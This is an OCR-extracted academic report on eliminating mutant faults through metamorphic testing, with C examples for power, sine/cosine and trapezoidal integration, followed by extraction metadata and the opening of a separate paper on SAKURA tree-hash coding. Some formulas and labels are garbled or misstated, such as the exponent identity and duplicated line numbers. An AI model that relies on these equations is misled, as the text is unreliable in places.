R_p' = \{ (x_1, x_2, p(x_1), p(x_2)) \mid x_1 + x_2 = PI \rightarrow \left| \frac{p(x_2) - p(x_1)}{\min(|p(x_2)|, |p(x_1)|)} \right| < \varepsilon \}
\]
or
\[
R_p'' = \{ (x_1, x_2, p(x_1), p(x_2)) \mid x_1 + x_2 = PI \rightarrow |p(x_2) - p(x_1)| < \varepsilon \},
\]
where \( PI \) is the implemented value of \( \pi \) and \( \varepsilon \) is the acceptable error. For the ease of presentation, we shall simply use the form \( R_p \) in the examples in this paper. Readers are reminded that \( R_p' \) or \( R_p'' \) may be used in the actual cases.
To verify this relation, two executions are needed in MT. The first input to \( p \) is a real number \( x_1 \), followed by a second input \( x_2 = \pi - x_1 \). Even if a testing oracle does not exist, MT can still be applied because it checks the relations among the inputs and outputs of more than one execution of the program, instead of checking a single result.
There is a similarity between MT and the earlier methods introduced in this section, in that all of them make use of some properties of the functions to check the program outputs. There are, however, differences between MT and the other methods in both practice and philosophy. In practice, metamorphic testing not only employs identity relations, but also makes use of inequalities. An example can be found in [9]. As for the other approaches described above, apart from a couple of examples on error bounds given by Weyuker, they all employ identity relations only. With regard to the philosophical aspect, consider the program checker as an example. Its ultimate goal is to estimate, through a probabilistic oracle, how likely the program output is correct for a given test case. Even though other test cases may be generated by the checker during the testing process, the fundamental goal does not change. On the other hand, it is not the prime objective of
metamorphic testing to provide an alternate means of identifying a testing oracle to verify the correctness of a single output. Its intrinsic philosophy is that, when a test case selected according to some testing criteria does not reveal any failure, it still carries useful information, albeit implicitly. Thus, follow-up test cases can be used to check certain necessary properties of the program, irrespective of whether a testing oracle exists or not. If the necessary properties do not hold, the program is obviously incorrect. In this way, metamorphic testing is property-based and can be used along with any other test case selection strategies.
4 Integrating Fault-Based Testing with the Metamorphic Method
As introduced in Section 3, MT is a method that checks whether the program satisfies expected metamorphic relations. The latter is independent of the presence or otherwise of an oracle. MT can therefore be applied without the need of an oracle. In this section, we shall integrate MT and fault-based testing to alleviate the oracle problem, for both real and symbolic inputs.
4.1 Preliminary example
Similar to Morell’s fault-based testing, our integrated method also allows two types of inputs: real and symbolic. We shall also use the mathematical function \( f(x, y) = 2xy + 6 \) and the 3-line program in Figure 1 as a preliminary example to illustrate our technique. From simple algebra, we find that the function satisfies the property \( f(xy, f(x, y)) - f(x, y) = (2xy)^2 + 10xy \). \(^1\) This can be expressed formally as a metamorphic relation as follows:
\[
R_f = \{(x_1, y_1), (x_2, y_2), f(x_1, y_1), f(x_2, y_2)\} \mid (x_2 = x_1y_1 \land y_2 = f(x_1, y_1)) \rightarrow f(x_2, y_2) - f(x_1, y_1) = (2x_1y_1)^2 + 10x_1y_1\}.
\]
Let \( p \) denote the program in Figure 1. The expected metamorphic relation for \( p \) is defined as
\[
R_p = \{(x_1, y_1), (x_2, y_2), p(x_1, y_1), p(x_2, y_2)\} \mid (x_2 = x_1y_1 \land y_2 = p(x_1, y_1)) \rightarrow p(x_2, y_2) - p(x_1, y_1) = (2x_1y_1)^2 + 10x_1y_1\}.
\]
For the test case \((x_1, y_1) = (5, 6)\), the program \( p \) produces “66” as output. Suppose, for the sake of argument, that this program does not have a known oracle.\(^2\) We continue to generate the next test case as suggested by the metamorphic relation \( R_p \). Thus, we obtain \( x_2 = x_1y_1 = 5 \times 6 = 30 \), and \( y_2 = p(x_1, y_1) = 66 \). For this test case, the program yields \( p(30, 66) = 3966 \). We need to verify whether the two test results together satisfy the expected relation \( R_p \). Indeed, \( p(x_2, y_2) - p(x_1, y_1) = 3966 - 66 = 3900 \), and \((2x_1y_1)^2 + 10x_1y_1 = (2 \times 5 \times 6)^2 + 10 \times 5 \times 6 = 3900\). Hence, the relation \( R_p \) is fulfilled.
Suppose we introduce an assignment fault \( F \) into the program, as shown in Figure 2. This faulty program, which we shall denote by \( p' \), produces \( 2F + 60 \) by the symbolic execution of the same initial test case \((x_1, y_1) = (5, 6)\). Taking the metamorphic relation \( R_p \) into consideration, we choose a second symbolic test case \((x_2 = 5 \times 6 = 30)\) and \((y_2 = p'(5, 6) = 2F + 60)\). After symbolic execution, \( p' \) yields the output \((30 \times (2F + 60) + F) \times 2 = 122F + 3600 \). Our goal is to find the value(s) of \( F \) for which \( p' \) satisfies the
\(^1\)Many properties of \( f \) can be identified as metamorphic relations. This is but one example.
\(^2\)We use this simple but artificial example to illustrate the procedure behind metamorphic testing. Genuine examples where no oracle exists will be given in Sections 4.2 and 4.3.
double Power (double u, double v) {
double uMinusOne, numerator, lnTerm, result;
int i;
if (v == 0)
result = 1;
else {
if ((int)v == v && (v > 0)) {
result = 1;
for (i = 1; i <= v; i++)
result = result * u;
}
else {
/* \ln (u) = \ln (1 + (u - 1)) = (u - 1) - \frac{1}{2} (u - 1)^2 + \frac{1}{3} (u - 1)^3 - \ldots */
i = 1;
uMinusOne = u - 1;
numerator = uMinusOne;
lnTerm = uMinusOne;
result = uMinusOne;
while (fabs (lnTerm) > 1e-16) {
/* “fabs” is a floating point function that returns the absolute value */
/* 1e-16 = 10^{-16} */
i++;
numerator = (-1) * numerator * uMinusOne;
lnTerm = numerator / i;
result = result + lnTerm;
}
result = exp(v * result);
}
}
return result;
}
Figure 4: Program Power
equation, we obtain $F = 3$, which is the only value that $F$ can take. This means that all the alternate programs constructed by replacing 3 with other constants have been eliminated. This result coincides with that obtained by conventional fault-based testing in [22]. A fundamental difference is that we have applied the MT technique without referring to a testing oracle.
In the next two sections, we shall further describe how fault-based testing can be achieved in the absence of an oracle using real and symbolic inputs, respectively.
4.2 Fault-based testing with real input in the absence of an oracle
Consider the program \( \text{Power} \) in Figure 4. Given two real numbers \( u \) and \( v \) as input, the program computes the value of \( u^v \). This is done in three ways:
(i) If \( v \) is zero, then obviously \( u^v = 1 \).
(ii) Otherwise, if \( v \) is a positive integer, then \( u^v \) can be found by multiplying \( u \) by itself the appropriate number of times.
(iii) Otherwise, \( u^v \) is computed by the mathematical expression \( e^{v \ln(u)} \).
The main task of our testing lies with part (iii).
Consider statement 11 in the program. Suppose we introduce a fault in the statement 11, of the form
\[
\text{result} = F; \quad /* \text{Should be} \quad \text{result} = u \text{MinusOne;} */
\]
Our goal here is to ensure that any constant alternative is impossible. Assume the contrary. We would like to find all possible constants \( F \) such that the erroneous statement 11' would pass the test without being detected.
Since it is not straightforward to verify the result of this example against an oracle, especially for large numbers, we shall make use of the metamorphic testing method. A typical property of the exponential function is \( u^v \times v^v = (u \times v)^v \). Hence, the program should satisfy the metamorphic relation
\[
\text{Power}(u, v) \times \text{Power}(u, v) = \text{Power}(u \times u, v)
\]
Let \( u = 0.5400128 \) and \( v = 3.9 \) be a test case. The original program will generate \( \text{Power}(0.5400128, 3.9) = 9.0443177318673 \times 10^{-2} \), and \( \text{Power}(0.5400128 \times 0.5400128, 3.9) = 8.1799683234969 \times 10^{-3} \). Since \( (\text{Power}(0.5400128, 3.9))^2 = 8.1799683234969 \times 10^{-3} = \text{Power}(0.5400128 \times 0.5400128, 3.9) \), the metamorphic relation is satisfied.
Now consider the program with the symbol “F” in statement 11'. Let us call this program \( \text{Power}' \). After symbolic execution, we obtain the symbolic output
\[
\text{Power}'(0.5400128, 3.9) = e^{3.9 \times [F + \sum_{i=0}^{93} (-1)^{i-1}(0.5400128-1)^i]/i}.
\]
Hence,
\[
\text{Power}'(0.5400128, 3.9) \times \text{Power}'(0.5400128, 3.9) = e^{2 \times 3.9 \times [F + \sum_{i=0}^{93} (-1)^{i-1}(0.5400128-1)^i]/i}.
\]
On the other hand, for the test case \( (0.5400128 \times 0.5400128, 3.9) \), the output of the symbolic execution is
\[
\text{Power}'(0.5400128 \times 0.5400128, 3.9) = e^{3.9 \times [F + \sum_{i=0}^{93} (-1)^{i-1}(0.5400128-1)^i]/i}.
\]
Hence, according to the metamorphic relation, we should have
\[
e^{2 \times 3.9 \times [F + \sum_{i=0}^{93} (-1)^{i-1}(0.5400128-1)^i]/i} = e^{3.9 \times [F + \sum_{i=0}^{93} (-1)^{i-1}(0.5400128-1)^i]/i}.
\]
Solving the equation, we obtain \( F = -2.1158822416384 \times 10^{-1} \).
/* Program Trig calculates the value of sin x if “isSin” is true. Otherwise, it calculates the value of cos x. */
```c
double Trig (double x, bool isSin) {
int index;
double term, sum;
/* Initialize for cos x */
1: term = 1;
2: index = 1;
3: if (isSin) { /* Initialize for sin x */
4: term = x;
5: index = 2;
7: }
6: sum = term;
7: while (fabs (term) > 1e-16) {
8: term = term * (-1) * x * x / (index * (index + 1));
9: sum = sum + term;
10: index = index + 2;
11: }
11: return sum;
}
```
Figure 5: Program Trig
Let \( u = 0.7309782 \) and \( v = 9.16 \) be another test case. Through the same procedure, we can deduce that \( F = -7.2372728875240 \times 10^{-2} \). Even if rounding errors are taken into consideration, those two values of the same constant \( F \) obviously contradict each other. As a result, no constant alternative is possible for statement 11'. In other words, we have proved that the metamorphic test cases \((u, v) = (0.5400128, 3.9), (0.5400128 \times 0.5400128, 3.9), (0.7309782, 9.16), \) and \((0.7309782 \times 0.7309782, 9.16)\) distinguish the original program Power from every mutant constructed by replacing \( uMinusOne \) in statement 11 by any constant value.
4.3 Fault-based testing with symbolic input in the absence of an oracle
Let us consider a further example as shown in Figure 5. The program Trig accepts as inputs a real number \( x \) and a Boolean parameter \( isSin \). It calculates \( \sin x \) when \( isSin \) is true and \( \cos x \) when \( isSin \) is false. Except for special cases such as \( x = 0 \) and \( x = \pi / 2 \), there is no easy way to verify the outputs of the program, unless we check them against the outputs from yet another program.
Suppose statement 4 is replaced by an alternative:
```c
4': term = F; /* Should be “term = x;” */
```
where \( F \) is a function of \( x \) in the form \( F = a \times x^n \) such that \( a \) is a real number constant and \( n \) is a non-negative integral constant.
As explained earlier, it is not easy to verify the program against an oracle, so that we cannot apply Morell’s fault-based testing method to eliminate the alternative. Instead, let us test the program using the
property \( \sin^2 x + \cos^2 x = 1 \). The metamorphic relation in the implementation domain can be written as
\[
R_p : \quad (p(x, \text{true}))^2 + (p(x, \text{false}))^2 = 1.
\] (1)
Consider a symbolic input \( x = S \) with \( \text{isSin} = \text{true} \). By symbolic execution of the alternate program containing statement 4', the output is
\[
\text{Trig}(S, \text{true}) = F \ast (1 - S^2/6 + S^4/120 - \ldots).
\]
Hence, we have
\[
(\text{Trig}(S, \text{true}))^2 = F^2 \ast (1 - S^2/6 + S^4/120 - \ldots)^2
= (a \ast S^n)^2 \ast (1 - S^2/6 + S^4/120 - \ldots)^2
= (a^2 \ast S^{2n}) \ast (1 - (1/3) \ast S^2 + (2/45) \ast S^4 - \ldots)
= a^2 \ast S^{2n} - (1/3) \ast a^2 \ast S^{2n+1} + (2/45) \ast a^2 \ast S^{2n+2} - \ldots
\] (2)
For the same symbolic input \( x = S \) with \( \text{isSin} = \text{false} \), we obtain a second symbolic output of the program, thus:
\[
\text{Trig}(S, \text{false}) = 1 - S^2/2 + S^4/24 - S^6/720 + \ldots
\]
As a result,
\[
(\text{Trig}(S, \text{false}))^2 = 1 - S^2 + (1/3) \ast S^4 - (2/45) \ast S^6 + \ldots
\]
Based on equation (1), we should have
\[
(\text{Trig}(S, \text{true}))^2 + (\text{Trig}(S, \text{false}))^2 = 1
\]
and therefore
\[
a^2 \ast S^{2n} - (1/3) \ast a^2 \ast S^{2n+1} + (2/45) \ast a^2 \ast S^{2n+2} - \ldots = S^2 - (1/3) \ast S^4 + (2/45) \ast S^6 - \ldots
\] (3)
As we know, \( n \) is a non-negative integral constant. If \( n = 0 \), then there will be a constant term \( a^2 \) on the left-hand side of identity (3), while the minimum degree of the right-hand side will be 2. This is obviously a contradiction. If \( n \geq 2 \), then all the terms on the left-hand side of the identity will have a degree \( \geq 4 \), while there will be a term of degree 2 on the right-hand side. This again will be a contradiction. Thus, the only possible value of \( n \) is 1. Since \( n = 1 \), if we equate the coefficients of like terms on both sides of the identity, we obtain \( a^2 = 1, \quad -(1/3) \ast a^2 = -1/3, \quad (2/45) \ast a^2 = (2/45), \ldots \), which can be solved to give \( a = \pm 1 \).
In this way, \( F \) can only be \( x \) or \( -x \). Of course, \( F = x \) is just the original statement 4 in program Trig. Hence, we need only study \( F = -x \). To discard this alternative, we need to employ another metamorphic relation. For example, we note that \( \sin x = -\cos(\pi/2 + x) \). The metamorphic relation in the implementation domain can be written as
\[
x_2 = \pi/2 + x_1 \quad \rightarrow \quad p(x_1, \text{true}) + p(x_2, \text{false}) = 0.
\] (4)
We apply the technique introduced in Section 4.2 to eliminate the alternative \( F = -x \) using real input. Let \( PI = 3.1415926535898 \) and let the input be \( x = 1.2 \). The original program with \( F = x \) in statement 4 will
produce $\text{Trig}(1.2, \text{true}) = 0.93203908596723$, and $\text{Trig}(PI/2 + 1.2, \text{false}) = -0.93203908596723$. Hence, $\text{Trig}(1.2, \text{true}) + \text{Trig}(PI/2 + 1.2, \text{false}) = 0$ and the metamorphic relation (4) is satisfied.
We continue to test the alternate program with statement 4 replaced by “term = $-x$;”. Let us call it $\text{Trig}'$. For the same input $x = 1.2$, the results are $\text{Trig}'(1.2, \text{true}) = -0.93203908596723$ and $\text{Trig}'(PI/2 + 1.2, \text{false}) = -0.93203908596723$. Hence, $\text{Trig}'(1.2, \text{true}) + \text{Trig}'(PI/2 + 1.2, \text{false}) = -1.86407817193446$. Obviously, this alternate program does not satisfy the expected metamorphic relation (4). In this way, the alternative $F = -x$ is eliminated.
In this section, we have illustrated our technique of using symbolic input (possibly combined with real input) to eliminate prescribed faults. The example also demonstrated the power of combining different metamorphic relations in testing. It shows that, by making use of more than one metamorphic relation, different types of faults may be revealed. In other words, different metamorphic relations may have different fault-detection capabilities for different types of faults.
We must concede, however, that our method may not be foolproof in terms of program correctness. This issue will be further discussed in the next section.
5 Discussions
In the previous examples, the prescribed types of faults have been totally eliminated. This may not be possible in some real life situations. Having said that, we shall illustrate via an example in this section how our method may still be applied in such circumstances.
The program $\text{Trap}$ as shown in Figure 6 is adapted from [11]. It calculates the approximate area under the curve $f(x)$ for the interval between $x = a$ and $x = b$. Suppose statement 12 is replaced by an alternate statement
\[ 12': \text{area} = \text{area} + (k_1 \times y_{\text{Old}} + k_2 \times y_{\text{New}}) / 2.; \]
\[ /* \text{Should be “area} = \text{area} + (y_{\text{Old}} + y_{\text{New}}) / 2.;” */ \]
where $k_1$ and $k_2$ are any constants. Before testing, let us first identify a metamorphic relation. Suppose $G(x) = F(x) + C$, where $C$ is a positive constant. From elementary calculus, we know that $\text{Trap}(G, A, B, N, \text{Error}) = \text{Trap}(F, A, B, N, \text{Error}) + C \times |B - A|$ when $N \geq 1$. We execute the program using the symbolic input $(F, A, B, N, \text{Error})$, where $F$ is any function, $A > B$, and $N = 1$. The statements (1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 9, 14, 15, 16, 17) will be traversed, generating the symbolic output
\[ \text{Trap}(F, A, B, N, \text{Error}) = (k_1 \times F(A) + k_2 \times F(B)) / 2 \times (A - B). \]
Running the program again using the symbolic input $(G, A, B, N, \text{Error})$, we obtain
\[ \text{Trap}(G, A, B, N, \text{Error}) = (k_1 \times (F(A) + C) + k_2 \times (F(B) + C)) / 2 \times (A - B). \]
According to the metamorphic relation, therefore, we establish an equation
\[ (k_1 \times (F(A) + C) + k_2 \times (F(B) + C)) / 2 \times (A - B) = (k_1 \times F(A) + k_2 \times F(B)) / 2 \times (A - B) + C \times (A - B). \]
After simplification, we obtain $(k_1 + k_2) \times C = 2C$, thus giving $(k_1 + k_2) = 2$. If $k_1$ and $k_2$ are possible integers, then both of them can only take the value of “1”, which is just the original value. Otherwise, we
/* Program Trap implements the trapezoidal rule to find the approximate area under the curve f(x) between x = a and x = b. The computation uses n intervals of size \(\frac{b - a}{n}\) each. The variable “error” will be set to “true” when \(n < 1\). */
```c
float Trap (float (*f)(float), float a, float b, int n, bool &error) {
float area;
float h; /* interval */
float x;
float yOld; /* value of f(x) */
float yNew; /* value of f(x + h) */
if (n < 1) {
error = true;
} else {
error = false;
area = 0;
h = (b - a) / n;
x = a;
yOld = (*f)(x);
while ((a > b && x > b) || (a < b && x < b)) {
x = x + h;
yNew = (*f)(x);
area = area + (yOld + yNew) / 2.;
yOld = yNew;
}
area = area * h;
if (a > b)
area = -area;
}
return area;
}
```
Figure 6: Program Trap
can still eliminate all pairs of \(k_1\) and \(k_2\) such that \(k_1 + k_2 \neq 2\). This example shows that, even in situations where our method cannot exactly identify the fault, our technique is still useful because it greatly narrows down the range of possible faults.
The examples cited so far in this paper are numerical programs. It should be noted that our approach can also be applied to non-numerical ones. Consider, for instance, a program `ShortestPath` that implements the shortest path problem. The program accepts a graph \(G\) and two nodes \(A\) and \(B\), and then outputs all the shortest paths from \(A\) to \(B\). Apart from simple graphs, it is expensive to verify whether the outputs are correct. In this case, metamorphic testing can be applied as follows: Randomly select an element \(P\) from the output of `ShortestPath(G, A, B)`. \(P\) is one of the shortest paths from \(A\) to \(B\). Randomly select a node \(C\) in this path \(P\). Then, run the program to compute `ShortestPath(G, A, C)` and `ShortestPath(G, C, B)`. A metamorphic relation is, “there exist an element of `ShortestPath(G, A, C)` and an element of `ShortestPath(G, C, B)` that
can be combined to form the path $P$.” If this metamorphic relation is not satisfied, the program must contain a fault. Another metamorphic relation is that a different permutation of the input graph $G$ should produce the same output. Fault-based testing techniques can be applied to such non-numerical metamorphic relations. Furthermore, the concepts of attributive equivalence and observational equivalence have been introduced in [7] for the testing of object-oriented programs. These concepts of equivalence can also be used as non-numerical metamorphic relations in fault-based testing.
6 Conclusion
In this paper, we have looked into the oracle problem in fault-based testing. We have found that, by integrating metamorphic testing with fault-based testing, alternate programs can be eliminated even if there is no testing oracle. We have presented techniques of using real and symbolic inputs.
When compared with other fault-based testing approaches that rely on testing oracles, our approach requires additional efforts in identifying metamorphic relations and running the program more than once. Obviously, whenever a testing oracle is available, it should be used to check the output. Nevertheless, there are many situations where a testing oracle cannot be found. Our method does provide an innovative solution in such circumstances.
References
|
{"Source-Url": "http://hub.hku.hk/bitstream/10722/55518/1/Fault_based_testing_without_the%20need-of_oraclesTR-2002-07.pdf", "len_cl100k_base": 11202, "olmocr-version": "0.1.49", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 60150, "total-output-tokens": 14225, "length": "2e13", "weborganizer": {"__label__adult": 0.0003771781921386719, "__label__art_design": 0.0002987384796142578, "__label__crime_law": 0.0003993511199951172, "__label__education_jobs": 0.0010576248168945312, "__label__entertainment": 6.532669067382812e-05, "__label__fashion_beauty": 0.00016951560974121094, "__label__finance_business": 0.00021445751190185547, "__label__food_dining": 0.00044798851013183594, "__label__games": 0.0009446144104003906, "__label__hardware": 0.0010118484497070312, "__label__health": 0.0006771087646484375, "__label__history": 0.00022709369659423828, "__label__home_hobbies": 0.0001018047332763672, "__label__industrial": 0.0003819465637207031, "__label__literature": 0.0003616809844970703, "__label__politics": 0.00025177001953125, "__label__religion": 0.0005068778991699219, "__label__science_tech": 0.03070068359375, "__label__social_life": 9.047985076904296e-05, "__label__software": 0.005645751953125, "__label__software_dev": 0.955078125, "__label__sports_fitness": 0.00034046173095703125, "__label__transportation": 0.0005221366882324219, "__label__travel": 0.00019073486328125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44925, 0.03653]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44925, 0.76812]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44925, 0.84585]], "google_gemma-3-12b-it_contains_pii": [[0, 640, false], [640, 3188, null], [3188, 7452, null], [7452, 9989, null], [9989, 12107, null], [12107, 16224, null], [16224, 19831, null], [19831, 23474, null], [23474, 25032, null], [25032, 27828, null], [27828, 30102, null], [30102, 32906, null], [32906, 36380, null], [36380, 38486, null], [38486, 41835, null], [41835, 44925, null]], "google_gemma-3-12b-it_is_public_document": [[0, 640, true], [640, 3188, null], [3188, 7452, null], [7452, 9989, null], [9989, 12107, null], [12107, 16224, null], [16224, 19831, null], [19831, 23474, null], [23474, 25032, null], [25032, 27828, null], [27828, 30102, null], [30102, 32906, null], [32906, 36380, null], [36380, 38486, null], [38486, 41835, null], [41835, 44925, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44925, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44925, null]], "pdf_page_numbers": [[0, 640, 1], [640, 3188, 2], [3188, 7452, 3], [7452, 9989, 4], [9989, 12107, 5], [12107, 16224, 6], [16224, 19831, 7], [19831, 23474, 8], [23474, 25032, 9], [25032, 27828, 10], [27828, 30102, 11], [30102, 32906, 12], [32906, 36380, 13], [36380, 38486, 14], [38486, 41835, 15], [41835, 44925, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44925, 0.02273]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
9b0d12d5daf85a7e1f850dc14515b9f984f20bad
|
**SAKURA: a flexible coding for tree hashing**
Guido Bertoni\(^1\), Joan Daemen\(^1\), Michaël Peeters\(^2\), and Gilles Van Assche\(^1\)
\(^1\) STMicroelectronics
\(^2\) NXP Semiconductors
**Abstract.** We propose a flexible, fairly general, coding for tree hash modes. The coding does not define a tree hash mode, but instead specifies a way to format the message blocks and chaining values into inputs to the underlying function for any topology, including sequential hashing. The main benefit is to avoid input clashes between different tree growing strategies, even before the hashing modes are defined, and to make the SHA-3 standard tree-hashing ready.
**Keywords:** hash function, tree hashing, indifferentiability, SHA-3
1 Introduction
A **hashing mode** can be seen as a recipe for computing digests over messages by means of a number of calls to an underlying function. This underlying function may be a fixed-input-length compression function, a permutation or even a hash function in its own right. We use the term **inner function** and symbol \(f\) for the underlying function and the term **outer hash function** and symbol \(F\) for the function obtained by applying the hashing mode to the inner function.
The hashing mode splits the message into substrings that are assembled into inputs for the inner function, possibly combined with one or more **chaining values** and so-called **frame bits**. Such an input to \(f\) is called a **node** \([6]\). The chaining values are the results of calls to \(f\) for other nodes.
Hashing modes serve two main purposes. The first is to build a variable-input-length hash function from a fixed-input-length inner function and the second is to build a tree hash function. In tree hashing, several parts of the message may be processed simultaneously and parallel architectures can be used more efficiently when hashing a single message than in sequential hashing \([16,18,22,3,6]\).
1.1 Motivation and prior art
The motivation for standardizing a tree hash mode, or to have a tree-hash-ready SHA-3 standard, was discussed at various occasions during the SHA-3 competition on the NIST hash-forum mailing list \([7]\). A few candidates, like MD6, SANDstorm and Skein, proposed built-in tree hash modes \([21,23,10]\). At the Third SHA-3 Candidate Conference, Lucks, McGrew and Whiting motivated why the SHA-3 standard should support parallelized tree hashing \([14]\).
Different applications or use cases call for different approaches to tree hashing and different tree topologies. For instance, some environments favor cutting the input message in consecutive pieces and hashing these pieces independently, while others favor to hash interleaved pieces of data, see, e.g., \([11]\). In his presentation at ESC 2013, Lucks suggested to use a \(n\)-ary tree with much potential parallelism and to let the implementation choose the most appropriate evaluation strategy \([13]\). As another example, some applications require to keep the intermediate hash values (e.g., to be able to re-compute the
digest if only a part of the input changes), whereas the mere exploitation of parallelism does not require it.
Given all this diversity, it seems difficult to agree on a “one-size-fits-all” tree hash mode. Instead, we take the different approach of allowing different tree hash modes to co-exist. However, the co-existence of different modes on top of existing (serial) hash functions calls for caution. While each individual hash mode can be proven secure, the joint use of several modes can become insecure, in particular due to the different coding conventions that could collide into equal inputs to the inner function. This paper proposes a way to bring together different tree hash modes in a secure way and follows ideas presented in [5, Slides 54-59].
1.2 Our contribution
We show that it is possible to define a tree hash coding, i.e., a way to format the input to the inner function, that can cover a wide range of tree hash modes. For a carefully designed tree hash coding, one can prove that the union of all tree hash modes compatible with it is sound. By sound we mean that it does not introduce any weaknesses on top of the risk of collisions in the inner function. More precisely, a hashing mode is sound if the advantage of differentiating $F$ from a random oracle, assuming $f$ has been randomly selected, is upper bound by $q^2/2^n+1$, with $q$ the number of queries to $f$ and $n$ the length of the chaining values [1,5,7,6].
As a result, tree hash modes compatible with the defined coding can be progressively introduced while preserving their joint security. Also, as an additional benefit, a tree hash mode following the coding convention is sound by construction, without the need of additional proofs.
For proving soundness, we use the results of [6], in which we specify a set of conditions for a tree (or sequential) hashing mode to be sound. We assume that to the choice of $f$ is attached a security parameter, like the capacity in the specific case of sponge functions or the security strength [18,2]. We consider this security parameter to be specified together with $f$ and to remain constant for its entire use in a tree hash mode.
The remainder of this paper is structured as follows. In Section 2 we explain the range of possibilities of our proposed sound tree hash coding and illustrate it with some examples. In Section 3 we specify SAKURA, the coding we propose, while in Section 4 we define what it means for a hashing mode to be compatible with SAKURA and prove that any such tree hash mode is sound. In Section 5 we give some examples of modes and in Section 6 we discuss the use of SAKURA in the context of making the SHA-3 standard tree-hashing ready.
2 Functionality supported by SAKURA
We start by recalling the very general concept of node and tree of nodes. We then capture the functionality of SAKURA with trees of hops and how nodes and hops relate to one another. Finally, some figures illustrate the concepts.
2.1 Modeling tree hash modes
We refer to [8, Section 2] for a detailed description of the model. We here give a short summary.
A tree is a directed graph of nodes. Informally speaking, each node is hashed with the inner function $f$ and the output is given to its parent node as a chaining value. The exception is for the final node (i.e., the root of the tree), which does not have a parent, and the output of the outer hash function $F(M)$ is the output of $f$ applied to this final node.
A tree hash mode $T$ specifies a tree of nodes as a function of the input message length $|M|$ and some specific parameters $A$. In particular, it is up to the mode to define how the tree scales as a function of $|M|$, how the message bits are spread on the nodes, which nodes takes chaining values from which nodes, etc.
For a fixed $|M|$ and $A$, a tree hashing mode specifies precisely how to format the inputs to the inner function $f$ with bits from the message, chaining values and frame bits. The latter are constant bits for padding or domain separation. The union of tree hash modes is defined in \[6\], Section 7.3]. The union $T_{\text{union}}$ of $k$ tree hashing modes $T_i$ simply means that the user has a choice parameter indicating the chosen mode $i$ composed with the tree parameters $A_i$ for the particular mode $i$. With $T_{\text{union}}$, the user can thus reach any node tree that some $T_i$ can produce.
2.2 From generality to functionality
The model of the tree using nodes is very general and allows modeling even the most cumbersome tree hash mode, e.g., where a node inputs 2 chaining value bits from child #4 then 7 message bits, etc. We now introduce some concepts that restrict this general model to one that can be easily represented and yet is sufficiently flexible to cover all practical cases we can think of.
We represent trees in terms of hops that model how message and chaining values are distributed over nodes. Any tree of hops uniquely maps to a tree of nodes, so they are still supported by the model mentioned above. However, not all trees of nodes (such as the cumbersome example above) can be represented in trees of hops.
In \textsc{S\&U}, any tree of hops is encoded into a tree of nodes. In other words, the functionality supported by \textsc{S\&U} is exactly that of all possible trees of hops that can be built. \textsc{S\&U}-compatible tree hash modes are not required to generate all possible hop trees, but instead they can focus on the desired subset of them. In the sequel, we define what the hops are and how they are encoded into nodes.
2.3 Hops and hop trees
Unlike a node that may simultaneously contain message bits and chaining values, there are two distinct types of hops: message hops that contain only message bits and chaining hops that contain only chaining values.
The hops form a tree, with the root of the tree called the final hop. Such a hop tree determines the parallelism that can be exploited by processing multiple message hops or chaining hops in parallel.
Each hop has a single outgoing edge. A message hop has no incoming edges. The number of incoming edges of a chaining hop is called its degree $d$. The hops at the other end of these edges are called the child hops of that chaining hop. The edges to a hop are labeled with numbers 0 to $d - 1$ and the hop at the end of edge 0 is called the first child hop. There is exactly one path from each hop to the final hop.
We define the position of a hop in a hop tree by an index, that specifies the path to follow to reach this hop starting from the final hop. It consists of a sequence of integers \( a = a_0a_1 \ldots a_{n-1} \). Indexing is defined in a recursive way:
- The index of the final hop is the empty sequence, denoted \( * \).
- The index of the \( i \)-th child of a hop with index \( a \) has index \( a || i - 1 \).
The length of this sequence specifies the distance of the specified hop to the final hop and is called its *height*. The height of the hop tree is the maximum height over all hops.
### 2.4 Interleaving the input over message hops
In general, message bits are distributed onto message hops from the first to the last child.
In streaming applications, one may wish to divide message substrings over multiple hops as the message becomes available. For this purpose chaining hops have an attribute called *interleaving block size* \( I \) that determines how this shall be done. The principle is that a chaining hop distributes the message bits it receives over its child hops. It hands the first \( I \) bits to its first child, the second sequence of \( I \) bits to its second child and so on. After reaching the last of its child hops, it returns to its first child and so on. When a receiving hop is also a chaining hop, it will distribute the message bits over its child hops according to its own interleaving block size. When this process ends is determined by the hashing mode. For example, it can be when the end of the message is reached or when the hops have reached some maximum size specified in the mode’s parameters.
A mode that does not make use of message block interleaving can set the interleaving block size of the chaining hops to a value that is larger than any message that may be presented, and we say \( I = \infty \).
The way message bits are distributed is formally captured by the \( \text{GetMessage} \) function in Definition 1 below. For examples with block interleaving, please see Sections 5.2 and 5.3.
### 2.5 Mapping hops to nodes
One can define hashing modes where the concepts of node and hop coincide by imposing that each node contains exactly one hop. With *kangaroo hopping* defined below, however, the first child hop is coded before its parent in the same node.
In a mode without kangaroo hopping, the node tree is constructed from the hop tree using the same topology. A node contains exactly one hop. The nodes are constructed by putting message bits in nodes containing a message hop and by putting chaining values in nodes containing a chaining hop.
